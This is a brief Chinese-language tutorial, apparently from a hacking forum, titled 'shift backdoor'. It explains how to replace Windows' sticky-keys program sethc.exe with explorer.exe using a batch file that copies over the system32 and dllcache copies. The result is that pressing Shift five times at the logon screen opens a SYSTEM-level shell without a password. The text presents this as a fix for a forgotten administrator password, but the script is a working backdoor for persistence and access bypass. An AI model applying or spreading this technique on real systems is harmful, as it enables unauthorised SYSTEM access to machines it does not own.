shift这个后门

1.设置粘滞键

打开控制面板，选择“辅助功能选项”，勾选“使用粘滞键”，打开“设置”，除了第一项保留外，其他全部勾销。

2.然后，连按5次shift键，就会出现粘滞键对话框了

不要关闭它，马上打开任务管理器，就可以看到进程名：sethc.exe，找到它：在

%systemroot%/system32/dllcache/

%systemroot%/system32/

这两个目录下都有的，然后我们编写一个bat文件：

@echo off
title shift backdoor
color 0a //设置为黑底绿字
echo beginning files copying...

//拷贝并改名
copy %systemroot%/explorer.exe %systemroot%/system32/dllcache/sethc.exe
copy %systemroot%/explorer.exe %systemroot%/system32/sethc.exe
echo files copied,press any key to continue...
pause
exit

保存为“*.bat”，名字任选，然后双击

注销，连按五次shift，就出现资源管理器了，呵呵，这时，如果创建cmd的快捷方式，并在关闭资源管理器后在cmd中输入“explorer.exe”就可以以system权限进入系统了，如果您忘记了管理员密码，此方法值得一试